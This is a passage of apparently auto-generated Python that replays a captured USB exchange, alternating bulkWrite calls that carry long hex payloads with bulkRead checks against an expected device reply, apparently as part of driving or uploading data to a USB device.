b\"\\x9F\\xD8\\x17\\xAF\\x94\\xD6\\x83\\xA1\\x3E\\x82\\x6D\\x5E\\x64\\xCA\\xE0\\x03\"\n b\"\\xAA\\xC8\\xDB\\x7C\\xDC\\xA7\\xB3\\x15\\x25\\xBC\\x4A\\x52\\x33\\x93\\xD1\\xD6\"\n b\"\\x04\\xF1\\x9A\\x63\\x6D\\xED\\x5D\\xE2\\x6A\\x98\\x01\\xA3\")\n # Generated from packet 3235/3236\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3235/3236\")\n # Generated from packet 3237/3238\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x26\\xA1\\x9E\\x74\\x49\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x22\\x17\\xE8\\xB1\\x4B\\xDC\\x94\\xB0\"\n b\"\\x19\\xC9\\xFA\\x6F\\xA4\\x35\\x5C\\xDF\\x27\\x93\\x49\\xDF\\xEB\\xA7\\xBE\\xD3\"\n b\"\\xB9\\x3A\\x85\\xB8\\x6F\\x1A\\x3D\\x18\\x48\\x64\\x06\\x4A\\x3C\\x8C\\x1C\\x3F\"\n b\"\\x5E\\x13\\x14\\xF6\\x60\\x1C\\x3B\\xE6\\x40\\x14\\xD1\\x3D\\x8A\\xC0\\xF5\\x76\"\n b\"\\x53\\xDB\\x34\\xA7\\xE1\\x36\\x5E\\x0D\\xFF\\x96\\x94\\x1F\\x2B\\x3A\\x83\\xC3\"\n b\"\\xC6\\x4F\\xC3\\x97\\xE3\\xB5\\xD1\\xC6\\x7C\\x90\\xA5\\x77\\x17\\x34\\x2E\\xAE\"\n b\"\\x49\\x18\\x56\\x9B\\xFE\\x5B\\xEF\\x92\\x56\\x1F\\x03\\x74\\xAE\\x72\\x84\\xD5\"\n b\"\\x3B\\x67\\x7D\\xEA\\xDA\\xBE\\x4D\\x1B\\xB4\\x10\\xCB\\x4C\\x41\\x44\\x70\\x44\"\n b\"\\xA3\\x13\\xEE\\xDD\\x6C\\xAC\\x2F\\x34\\x7E\\x38\\xA8\\x38\\xA2\\xF0\\xFF\\x15\"\n b\"\\x94\\xCA\\x1C\\x92\\xC7\\x4C\\xC2\\x27\\x9F\\x45\\x93\\x41\\x89\\x5C\\xED\\xE6\"\n b\"\\x00\\x7F\\x49\\x40\\x42\\x24\\x21\\x85\\xAB\\xEC\\x84\\xBF\\x75\\x26\\xDE\\x29\"\n b\"\\x32\\xCF\\xA2\\x58\\xC4\\xF1\\x6F\\x17\\x55\\xA9\\xF3\\x04\\x24\\x11\\xDF\\x0E\"\n b\"\\x1D\\xC6\\x98\\x7C\\x65\\x3A\\x13\\x42\\x44\\x86\\xFD\\xC8\\xC6\\x70\\x72\\xA1\"\n b\"\\x73\\xB0\\x9C\\x8D\\x02\\xFC\\x58\\x3E\\x1A\\xC1\\x0C\\x2A\\x92\\x60\\xE6\\x59\"\n b\"\\xC2\\x54\\xD7\\xF3\\x3B\\x27\\xF9\\x0E\\xC2\\x0D\\xC3\\x19\\x4D\\x32\\xD3\\x56\"\n b\"\\xBA\\x1D\\xDC\\xEB\\xA1\\xC5\\x6A\\x38\\xCF\\x3A\\x23\\x71\\x4B\\x2D\\xAC\\x70\"\n b\"\\x71\\x6A\\x0A\\x70\\xE7\\xB7\\xF2\\x94\\x13\\x8A\\x2D\\x3E\")\n # Generated from packet 3239/3240\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3239/3240\")\n # Generated from packet 3241/3242\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE8\\xF1\\x90\\x60\\x34\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9F\\xEC\\x74\\xB5\\xF2\\x33\\x3B\\x3C\"\n b\"\\xEE\\xEA\\xFC\\x6D\\xC9\\xBD\\xB2\\x10\\x7B\\x3E\\xE2\\xEC\\x2F\\x6D\\xE3\\x27\"\n b\"\\xA1\\x42\\x28\\x4F\\x6A\\x25\\x04\\x77\\x69\\xCB\\xDE\\x88\\x36\\xA2\\x9E\\x94\"\n b\"\\x36\\xF0\\x8B\\xFA\\xE9\\x4D\\x77\\x5C\\x59\\xCE\\xD1\\x49\\x59\\x02\\xE5\\xBE\"\n b\"\\x55\\x50\\x78\\x85\\x3E\\x86\\x58\\x3D\\x9E\\xA1\\x26\\x06\\xCC\\xD5\\xCE\\x1C\"\n b\"\\xB9\\xB7\\x51\\x14\\x70\\x89\\x5E\\x3B\\x60\\xA9\\x56\\xD1\\xBB\\x63\\x82\\xF5\"\n b\"\\xF0\\xBA\\x99\\x34\\x21\\x08\\x74\\x5E\\x8B\\x16\\xD4\\x94\\x99\\xC2\\x78\\x83\"\n b\"\\x45\\x2F\\x0D\\xC3\\x11\\x0A\\xF7\\xD1\\x40\\x95\\xD2\\xA5\\xF1\\xFE\\x76\\x2E\"\n b\"\\x28\\xA0\\x5A\\x56\\x1D\\x17\\x19\\xEF\\x14\\xBF\\x5D\\x03\\xF2\\x47\\x30\\x84\"\n b\"\\x53\\xD2\\x25\\x7D\\x6C\\x33\\xFC\\x4D\\x9D\\x5D\\x52\\xCB\\xCA\\xA8\\x06\\x70\"\n b\"\\xC2\\x4A\\x51\\xEE\\x5B\\x85\\xEE\\x2F\\xB2\\x97\\x7A\\xA8\\xBE\\x4B\\xB2\\xFF\"\n b\"\\x93\\x7D\\x88\\x1C\\x14\\x2E\\x0E\\xC2\\xA1\\x76\\x07\\x93\\xC7\\x60\\x1E\\xED\"\n b\"\\x60\\xE9\\x3D\\x49\\xC6\\xAB\\x66\\x21\\x03\\x42\\xAE\\x84\\x39\\x9C\\x64\\xDE\"\n b\"\\xAF\\xDB\\x8D\\xA2\\xDE\\x2D\\xB3\\x6F\\x91\\xBC\\xEB\\xF3\\x82\\xCD\\x53\\xDF\"\n b\"\\x88\\xF4\\x84\\x98\\xFA\\x8C\\x78\\x13\\xC4\\xAD\\xC4\\xFD\\x4E\\x2F\\x32\\x72\"\n b\"\\x27\\x9A\\xF2\\x9C\\x0B\\xEB\\xBE\\x58\\xB8\\xF3\\x83\\x0C\\xAC\\x7B\\x22\\xE6\"\n b\"\\xDF\\x2B\\x16\\xD7\\x75\\xD2\\x65\\xF9\\x88\\x2B\\x4F\\xC3\")\n # Generated from packet 3243/3244\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3243/3244\")\n # Generated from packet 3245/3246\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBA\\x00\\x82\\x5C\\x4E\\x2C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD1\\x2F\\x46\\x07\\x83\\x90\\xCE\\x1C\"\n b\"\\xF6\\xF2\\x51\\x14\\x3F\\xCC\\x5E\\x3B\\x2F\\xEC\\x56\\xD1\\xF4\\x26\\x82\\xF5\"\n b\"\\xBF\\xFF\\x99\\x34\\x6E\\x4D\\x74\\x5E\\xC4\\x53\\xD4\\x94\\xD6\\x87\\x78\\x83\"\n b\"\\x0A\\x6A\\x0D\\xC3\\x5E\\x4F\\xF7\\xD1\\x0F\\xD0\\xD2\\xA5\\xBE\\xBB\\x76\\x2E\"\n b\"\\x67\\xE5\\x5A\\x56\\x52\\x52\\x19\\xEF\\x5B\\xFA\\x5D\\x03\\xBD\\x02\\x30\\x84\"\n b\"\\x1C\\x97\\x25\\x7D\\x23\\x76\\xFC\\x4D\\xD2\\x18\\x52\\xCB\\x85\\xED\\x06\\x70\"\n b\"\\x8D\\x0F\\x51\\xEE\\x14\\xC0\\xEE\\x2F\\xFD\\xD2\\x7A\\xA8\\xF1\\x0E\\xB2\\xFF\"\n b\"\\xDC\\x38\\x88\\x1C\\x5B\\x6B\\x0E\\xC2\\xEE\\x33\\x07\\x93\\x88\\x25\\x1E\\xED\"\n b\"\\x2F\\xAC\\x3D\\x49\\x89\\xEE\\x66\\x21\\x4C\\x07\\xAE\\x84\\x76\\xD9\\x64\\xDE\"\n b\"\\xE0\\x9E\\x8D\\xA2\\x91\\x68\\xB3\\x6F\\xDE\\xF9\\xEB\\xF3\\xCD\\x88\\x53\\xDF\"\n b\"\\xC7\\xB1\\x84\\x98\\xB5\\xC9\\x78\\x13\\x8B\\xE8\\xC4\\xFD\\x01\\x6A\\x32\\x72\"\n b\"\\x68\\xDF\\xF2\\x9C\\x44\\xAE\\xBE\\x58\\xF7\\xB6\\x83\\x0C\\xE3\\x3E\\x22\\xE6\"\n b\"\\x90\\x6E\\x16\\xD7\\x3A\\x97\\x65\\xF9\\xC7\\x6E\\x4F\\xC3\\xD0\\xE1\\x70\\xD3\"\n b\"\\x9F\\x16\\x5F\\xDC\\x22\\x0D\\x87\\x6A\\xF1\\x63\\x78\\x23\\xB8\\xE7\\x6F\\xAC\"\n b\"\\xB9\\xDD\\x28\\x0A\\xB9\\x4B\\xF5\\xF2\\x5D\\xBF\\xC8\\x2D\\xF7\\x7A\\x1C\\x24\"\n b\"\\x4F\\x63\\x41\\x7E\\x9C\\xF5\\xEE\\x3B\\x61\\x4E\\x3D\\x28\\xF6\\x5A\\x87\\x22\"\n b\"\\xCA\\x0C\\xD9\\x9A\\xAA\\x39\\xFA\\x03\\xE0\\xF9\\x14\\x99\")\n # Generated from packet 3247/3248\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3247/3248\")\n # Generated from packet 3249/3250\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x74\\x50\\x8C\\x48\\x60\\x02\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBC\\x9B\\xEB\\xFB\\x63\\xCD\\x77\\x5C\"\n b\"\\xD3\\x4E\\xD1\\x49\\xD3\\x82\\xE5\\xBE\\xDF\\xD0\\x78\\x85\\xB4\\x06\\x58\\x3D\"\n b\"\\x14\\x21\\x26\\x06\\x46\\x55\\xCE\\x1C\\x33\\x37\\x51\\x14\\xFA\\x09\\x5E\\x3B\"\n b\"\\xEA\\x29\\x56\\xD1\\x31\\xE3\\x82\\xF5\\x7A\\x3A\\x99\\x34\\xAB\\x88\\x74\\x5E\"\n b\"\\x01\\x96\\xD4\\x94\\x13\\x42\\x78\\x83\\xCF\\xAF\\x0D\\xC3\\x9B\\x8A\\xF7\\xD1\"\n b\"\\xCA\\x15\\xD2\\xA5\\x7B\\x7E\\x76\\x2E\\xA2\\x20\\x5A\\x56\\x97\\x97\\x19\\xEF\"\n b\"\\x9E\\x3F\\x5D\\x03\\x78\\xC7\\x30\\x84\\xD9\\x52\\x25\\x7D\\xE6\\xB3\\xFC\\x4D\"\n b\"\\x17\\xDD\\x52\\xCB\\x40\\x28\\x06\\x70\\x48\\xCA\\x51\\xEE\\xD1\\x05\\xEE\\x2F\"\n b\"\\x38\\x17\\x7A\\xA8\\x34\\xCB\\xB2\\xFF\\x19\\xFD\\x88\\x1C\\x9E\\xAE\\x0E\\xC2\"\n b\"\\x2B\\xF6\\x07\\x93\\x4D\\xE0\\x1E\\xED\\xEA\\x69\\x3D\\x49\\x4C\\x2B\\x66\\x21\"\n b\"\\x89\\xC2\\xAE\\x84\\xB3\\x1C\\x64\\xDE\\x25\\x5B\\x8D\\xA2\\x54\\xAD\\xB3\\x6F\"\n b\"\\x1B\\x3C\\xEB\\xF3\\x08\\x4D\\x53\\xDF\\x02\\x74\\x84\\x98\\x70\\x0C\\x78\\x13\"\n b\"\\x4E\\x2D\\xC4\\xFD\\xC4\\xAF\\x32\\x72\\xAD\\x1A\\xF2\\x9C\\x81\\x6B\\xBE\\x58\"\n b\"\\x32\\x73\\x83\\x0C\\x26\\xFB\\x22\\xE6\\x55\\xAB\\x16\\xD7\\xFF\\x52\\x65\\xF9\"\n b\"\\x02\\xAB\\x4F\\xC3\\x15\\x24\\x70\\xD3\\x5A\\xD3\\x5F\\xDC\\xE7\\xC8\\x87\\x6A\"\n b\"\\x34\\xA6\\x78\\x23\\x7D\\x22\\x6F\\xAC\\x7C\\x18\\x28\\x0A\\x7C\\x8E\\xF5\\xF2\"\n b\"\\x98\\x7A\\xC8\\x2D\\x32\\xBF\\x1C\\x24\\x8A\\xA6\\x41\\x7E\")\n # Generated from packet 3251/3252\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3251/3252\")\n # Generated from packet 3253/3254\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCC\\x7D\\x18\\xF3\\x3C\\x7D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x68\\x31\\x1F\\x5C\\x84\\xDB\\x87\\x30\"\n b\"\\x03\\x7A\\x12\\x25\\xFA\\x45\\xF3\\xFC\\xCA\\xB4\\x9D\\x52\\x4C\\xE3\\x68\\x06\"\n b\"\\xF7\\xEB\\x8A\\x51\\x69\\x72\\x45\\xEE\\xA8\\x9B\\x57\\x7A\\x2F\\x97\\x8B\\xB2\"\n b\"\\x78\\xBA\\xBD\\x88\\x9B\\x3D\\xEE\\x0E\\x45\\x88\\xB6\\x07\\x14\\xEE\\xA0\\x1E\"\n b\"\\x6A\\x49\\x29\\x3D\\xCE\\xEF\\x6B\\x66\\xA6\\x2A\\x82\\xAE\\x03\\x10\\x5C\\x64\"\n b\"\\x59\\x86\\x1B\\x8D\\x25\\xF7\\xED\\xB3\\xE8\\xB8\\x7C\\xEB\\x74\\xAB\\x0D\\x53\"\n b\"\\x58\\xA1\\x34\\x84\\x1F\\xD3\\x4C\\x78\\x94\\xED\\x6D\\xC4\\x7A\\x67\\xEF\\x32\"\n b\"\\xF5\\x0E\\x5A\\xF2\\x1B\\x22\\x2B\\xBE\\xDF\\x91\\x33\\x83\\x8B\\x85\\xBB\\x22\"\n b\"\\x61\\xF6\\xEB\\x16\\x50\\x5C\\x12\\x65\\x7E\\xA1\\xEB\\x4F\\x44\\xB6\\x64\\x70\"\n b\"\\x54\\xF9\\x93\\x5F\\x5B\\x44\\x88\\x87\\xED\\x97\\xE6\\x78\\xA4\\xDE\\x62\\x6F\"\n b\"\\x2B\\xDF\\x58\\x28\\x8D\\xDF\\xCE\\xF5\\x75\\x3B\\x3A\\xC8\\xAA\\x91\\xFF\\x1C\"\n b\"\\xA3\\x29\\xE6\\x41\\xF9\\xFA\\x70\\xEE\\xBC\\x07\\xCB\\x3D\\xAF\\x90\\xDF\\x87\"\n b\"\\xA5\\xAC\\x89\\xD9\\x1D\\xCC\\xBC\\xFA\\x84\\x86\\x7C\\x14\\x1E\\x02\\xB0\\x79\"\n b\"\\x0B\\x95\\x9C\\x8F\\x23\\xBC\\xB4\\x7D\\x00\\x94\\x1E\\x8C\\xF5\\xCE\\xB9\\x5F\"\n b\"\\xE7\\x07\\xB7\\x51\\xDB\\x09\\xFD\\xAC\\x30\\x08\\xBE\\xBB\\x28\\x8A\\xCC\\x35\"\n b\"\\x99\\x0F\\x64\\xA8\\x3D\\xB8\\xAF\\xA3\\x33\\x2C\\xA1\\x09\\x67\\xC2\\x5E\\x53\"\n b\"\\x2F\\x4F\\x03\\x9D\\x2D\\x74\\x7C\\xEB\\x42\\x1C\\x15\\x12\")\n # Generated from packet 3255/3256\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3255/3256\")\n # Generated from packet 3257/3258\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x02\\x2D\\x16\\xE7\\xE5\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x59\\x9F\\x18\\x3B\\x5E\\xB4\\x74\"\n b\"\\x4F\\x71\\x3C\\x68\\x96\\xB6\\x6D\\x4F\\xC1\\xF8\\x10\\xFD\\x42\\xA8\\xEC\\xA9\"\n b\"\\x11\\xA9\\x27\\x27\\x3E\\x62\\x4F\\xEC\\x59\\x4E\\x77\\xEF\\xB7\\x94\\x88\\xB0\"\n b\"\\xDE\\xD4\\x94\\xB0\\x8C\\xC1\\xFA\\x6F\\x31\\x3D\\x5C\\xDF\\xB2\\x9B\\x49\\xDF\"\n b\"\\x7E\\xAF\\xBE\\xD3\\x2C\\x32\\x85\\xB8\\xFA\\x12\\x3D\\x18\\xDD\\x6C\\x06\\x4A\"\n b\"\\xA9\\x84\\x1C\\x3F\\xCB\\x1B\\x14\\xF6\\xF5\\x14\\x3B\\xE6\\xD5\\x1C\\xD1\\x3D\"\n b\"\\x1F\\xC8\\xF5\\x76\\xC6\\xD3\\x34\\xA7\\x74\\x3E\\x5E\\x0D\\x6A\\x9E\\x94\\x1F\"\n b\"\\xBE\\x32\\x83\\xC3\\x53\\x47\\xC3\\x97\\x76\\xBD\\xD1\\xC6\\xE9\\x98\\xA5\\x77\"\n b\"\\x82\\x3C\\x2E\\xAE\\xDC\\x10\\x56\\x9B\\x6B\\x53\\xEF\\x92\\xC3\\x17\\x03\\x74\"\n b\"\\x3B\\x7A\\x84\\xD5\\xAE\\x6F\\x7D\\xEA\\x4F\\xB6\\x4D\\x1B\\x21\\x18\\xCB\\x4C\"\n b\"\\xD4\\x4C\\x70\\x44\\x36\\x1B\\xEE\\xDD\\xF9\\xA4\\x2F\\x34\\xEB\\x30\\xA8\\x38\"\n b\"\\x37\\xF8\\xFF\\x15\\x01\\xC2\\x1C\\x92\\x52\\x44\\xC2\\x27\\x0A\\x4D\\x93\\x41\"\n b\"\\x1C\\x54\\xED\\xE6\\x95\\x77\\x49\\x40\\xD7\\x2C\\x21\\x85\\x3E\\xE4\\x84\\xBF\"\n b\"\\xE0\\x2E\\xDE\\x29\\xA7\\xC7\\xA2\\x58\\x51\\xF9\\x6F\\x17\\xC0\\xA1\\xF3\\x04\"\n b\"\\xB1\\x19\\xDF\\x0E\\x88\\xCE\\x98\\x7C\\xF0\\x32\\x13\\x42\\xD1\\x8E\\xFD\\xC8\"\n b\"\\x53\\x78\\x72\\xA1\\xE6\\xB8\\x9C\\x8D\\x97\\xF4\\x58\\x3E\\x8F\\xC9\\x0C\\x2A\"\n b\"\\x07\\x68\\xE6\\x59\\x57\\x5C\\xD7\\xF3\\xAE\\x2F\\xF9\\x0E\")\n # Generated from packet 3259/3260\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3259/3260\")\n # Generated from packet 3261/3262\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x50\\xDC\\x04\\xDB\\xDE\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x53\\x90\\xF2\\xEF\\xD5\\x02\\x27\\xB6\"\n b\"\\xDC\\x53\\x41\\xA0\\xC5\\x2D\\xE6\\x29\\xE6\\x89\\x40\\x6B\\xBD\\xE1\\x85\\x82\"\n b\"\\x75\\x44\\xBF\\x5C\\xBF\\x1E\\x29\\x1B\\x56\\x62\\x58\\xED\\x68\\xAF\\x17\\x7C\"\n b\"\\x30\\x33\\x04\\x0D\\x88\\x1F\\x0E\\x34\\x5F\\x58\\x7C\\x4C\\xA3\\xD3\\x42\\x6D\"\n b\"\\x1F\\x3D\\xC8\\xEF\\xE9\\xB2\\xA1\\x5A\\x29\\x5C\\x8D\\x2B\\x65\\x98\\x3E\\x33\"\n b\"\\x58\\xCC\\x2A\\xBB\\xF9\\x26\\x59\\xEB\\xCD\\x17\\xF3\\x12\\xBE\\x39\\x0E\\xEB\"\n b\"\\x94\\x03\\x19\\x64\\xAB\\x13\\x56\\x93\\x84\\x1C\\xEB\\x88\\x5C\\xAA\\x38\\xE6\"\n b\"\\xA3\\xE3\\x71\\x62\\xB4\\x6C\\x70\\x58\\xF3\\xCA\\x70\\xCE\\x2E\\x32\\x94\\x3A\"\n b\"\\x13\\xED\\x3E\\xFF\\xC7\\xE4\\x86\\xE6\\x9A\\xBE\\x55\\x70\\x35\\xFB\\xA8\\xCB\"\n b\"\\xE6\\xE8\\x3F\\xDF\\x5C\\xE2\\x03\\x89\\x02\\x5A\\x63\\xBC\\x21\\xC3\\x29\\x7C\"\n b\"\\xCF\\x59\\xAD\\xB0\\xA2\\x4C\\x3A\\x9C\\x54\\x64\\x13\\xB4\\xA6\\x47\\x3B\\x1E\"\n b\"\\x57\\xB2\\x61\\xB9\\x84\\xA0\\xA8\\xB7\\x8A\\x9C\\xA6\\xFD\\x77\\x77\\xA7\\xBE\"\n b\"\\x60\\x6F\\x25\\xCC\\xEE\\xDE\\xA0\\x64\\x73\\x7A\\x17\\xAF\\x78\\x74\\x83\\xA1\"\n b\"\\xD2\\x20\\x6D\\x5E\\x88\\x68\\xE0\\x03\\x46\\x6A\\xDB\\x7C\\x30\\x05\\xB3\\x15\"\n b\"\\xC9\\x1E\\x4A\\x52\\xDF\\x31\\xD1\\xD6\\xE8\\x53\\x9A\\x63\\x81\\x4F\\x5D\\xE2\"\n b\"\\x86\\x3A\\x01\\xA3\\xD3\\x23\\x93\\x93\\x2F\\x48\\x6C\\x8A\\x9A\\xAA\\xD8\\xDB\"\n b\"\\xC9\\xFE\\xAA\\x67\\x79\\x89\\x0D\\xD3\\x26\\x8A\\x9F\\x1A\")\n # Generated from packet 3263/3264\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3263/3264\")\n # Generated from packet 3265/3266\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9E\\x8C\\x0A\\xCF\\x02\\x75\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x9A\\x5D\\x19\\x21\\x88\\x06\\x4A\"\n b\"\\x55\\x60\\x1C\\x3F\\x37\\xFF\\x14\\xF6\\x09\\xF0\\x3B\\xE6\\x29\\xF8\\xD1\\x3D\"\n b\"\\xE3\\x2C\\xF5\\x76\\x3A\\x37\\x34\\xA7\\x88\\xDA\\x5E\\x0D\\x96\\x7A\\x94\\x1F\"\n b\"\\x42\\xD6\\x83\\xC3\\xAF\\xA3\\xC3\\x97\\x8A\\x59\\xD1\\xC6\\x15\\x7C\\xA5\\x77\"\n b\"\\x7E\\xD8\\x2E\\xAE\\x20\\xF4\\x56\\x9B\\x97\\xB7\\xEF\\x92\\x3F\\xF3\\x03\\x74\"\n b\"\\xC7\\x9E\\x84\\xD5\\x52\\x8B\\x7D\\xEA\\xB3\\x52\\x4D\\x1B\\xDD\\xFC\\xCB\\x4C\"\n b\"\\x28\\xA8\\x70\\x44\\xCA\\xFF\\xEE\\xDD\\x05\\x40\\x2F\\x34\\x17\\xD4\\xA8\\x38\"\n b\"\\xCB\\x1C\\xFF\\x15\\xFD\\x26\\x1C\\x92\\xAE\\xA0\\xC2\\x27\\xF6\\xA9\\x93\\x41\"\n b\"\\xE0\\xB0\\xED\\xE6\\x69\\x93\\x49\\x40\\x2B\\xC8\\x21\\x85\\xC2\\x00\\x84\\xBF\"\n b\"\\x1C\\xCA\\xDE\\x29\\x5B\\x23\\xA2\\x58\\xAD\\x1D\\x6F\\x17\\x3C\\x45\\xF3\\x04\"\n b\"\\x4D\\xFD\\xDF\\x0E\\x74\\x2A\\x98\\x7C\\x0C\\xD6\\x13\\x42\\x2D\\x6A\\xFD\\xC8\"\n b\"\\xAF\\x9C\\x72\\xA1\\x1A\\x5C\\x9C\\x8D\\x6B\\x10\\x58\\x3E\\x73\\x2D\\x0C\\x2A\"\n b\"\\xFB\\x8C\\xE6\\x59\\xAB\\xB8\\xD7\\xF3\\x52\\xCB\\xF9\\x0E\\xAB\\xE1\\xC3\\x19\"\n b\"\\x24\\xDE\\xD3\\x56\\xD3\\xF1\\xDC\\xEB\\xC8\\x29\\x6A\\x38\\xA6\\xD6\\x23\\x71\"\n b\"\\x22\\xC1\\xAC\\x70\\x18\\x86\\x0A\\x70\\x8E\\x5B\\xF2\\x94\\x7A\\x66\\x2D\\x3E\"\n b\"\\xBF\\xB2\\x24\\x86\\xA6\\xEF\\x7E\\x55\\x30\\x40\\x3B\\xA8\\x8B\\x93\\x28\\x3F\"\n b\"\\x9F\\x29\\x22\\x03\\xC9\\x77\\x9A\\x63\\xFC\\x54\\x03\\x29\")\n # Generated from packet 3267/3268\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3267/3268\")\n # Generated from packet 3269/3270\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF4\\x3E\\x21\\xA3\\x98\\x51\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD1\\x81\\xD6\\x06\\x80\\x6B\\xA0\\x1E\"\n b\"\\xFE\\xCC\\x29\\x3D\\x5A\\x6A\\x6B\\x66\\x32\\xAF\\x82\\xAE\\x97\\x95\\x5C\\x64\"\n b\"\\xCD\\x03\\x1B\\x8D\\xB1\\x72\\xED\\xB3\\x7C\\x3D\\x7C\\xEB\\xE0\\x2E\\x0D\\x53\"\n b\"\\xCC\\x24\\x34\\x84\\x8B\\x56\\x4C\\x78\\x00\\x68\\x6D\\xC4\\xEE\\xE2\\xEF\\x32\"\n b\"\\x61\\x8B\\x5A\\xF2\\x8F\\xA7\\x2B\\xBE\\x4B\\x14\\x33\\x83\\x1F\\x00\\xBB\\x22\"\n b\"\\xF5\\x73\\xEB\\x16\\xC4\\xD9\\x12\\x65\\xEA\\x24\\xEB\\x4F\\xD0\\x33\\x64\\x70\"\n b\"\\xC0\\x7C\\x93\\x5F\\xCF\\xC1\\x88\\x87\\x79\\x12\\xE6\\x78\\x30\\x5B\\x62\\x6F\"\n b\"\\xBF\\x5A\\x58\\x28\\x19\\x5A\\xCE\\xF5\\xE1\\xBE\\x3A\\xC8\\x3E\\x14\\xFF\\x1C\"\n b\"\\x37\\xAC\\xE6\\x41\\x6D\\x7F\\x70\\xEE\\x28\\x82\\xCB\\x3D\\x3B\\x15\\xDF\\x87\"\n b\"\\x31\\x29\\x89\\xD9\\x89\\x49\\xBC\\xFA\\x10\\x03\\x7C\\x14\\x8A\\x87\\xB0\\x79\"\n b\"\\x9F\\x10\\x9C\\x8F\\xB7\\x39\\xB4\\x7D\\x94\\x11\\x1E\\x8C\\x61\\x4B\\xB9\\x5F\"\n b\"\\x73\\x82\\xB7\\x51\\x4F\\x8C\\xFD\\xAC\\xA4\\x8D\\xBE\\xBB\\xBC\\x0F\\xCC\\x35\"\n b\"\\x0D\\x8A\\x64\\xA8\\xA9\\x3D\\xAF\\xA3\\xA7\\xA9\\xA1\\x09\\xF3\\x47\\x5E\\x53\"\n b\"\\xBB\\xCA\\x03\\x9D\\xB9\\xF1\\x7C\\xEB\\xD6\\x99\\x15\\x12\\xCD\\x60\\x52\\x04\"\n b\"\\xE2\\xFB\\xD6\\x33\\x80\\xB0\\x63\\x5A\\x9C\\x77\\xE2\\x5D\\xE9\\x2B\\xA3\\x08\"\n b\"\\xF0\\xB9\\x93\\xF4\\x9B\\x46\\x8A\\x41\\x79\\xF2\\xDB\\x12\\x2D\\x80\\x67\\xA2\"\n b\"\\x5A\\x27\\xD3\\xFD\\x59\\xB5\\x1A\\x02\\x9E\\x26\\xD5\\x1C\")\n # Generated from packet 3271/3272\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3271/3272\")\n # Generated from packet 3273/3274\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3A\\x6E\\x2F\\xB7\\x42\\x37\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x75\\x52\\x01\\x27\\x4E\\xAC\\x15\\xCE\"\n b\"\\x54\\xD9\\x77\\x51\\x5C\\x10\\x49\\x5E\\x73\\x00\\x69\\x56\\x99\\xDB\\xA3\\x82\"\n b\"\\xBD\\x90\\x7A\\x99\\x7C\\x41\\xC8\\x74\\x16\\xEB\\xD6\\xD4\\xDC\\xF9\\x02\\x78\"\n b\"\\xCB\\x25\\xEF\\x0D\\x8B\\x71\\xCA\\xF7\\x99\\x20\\x55\\xD2\\xED\\x91\\x3E\\x76\"\n b\"\\x66\\x48\\x60\\x5A\\x1E\\x7D\\xD7\\x19\\xA7\\x74\\x7F\\x5D\\x4B\\x92\\x87\\x30\"\n b\"\\xCC\\x33\\x12\\x25\\x35\\x0C\\xF3\\xFC\\x05\\xFD\\x9D\\x52\\x83\\xAA\\x68\\x06\"\n b\"\\x38\\xA2\\x8A\\x51\\xA6\\x3B\\x45\\xEE\\x67\\xD2\\x57\\x7A\\xE0\\xDE\\x8B\\xB2\"\n b\"\\xB7\\xF3\\xBD\\x88\\x54\\x74\\xEE\\x0E\\x8A\\xC1\\xB6\\x07\\xDB\\xA7\\xA0\\x1E\"\n 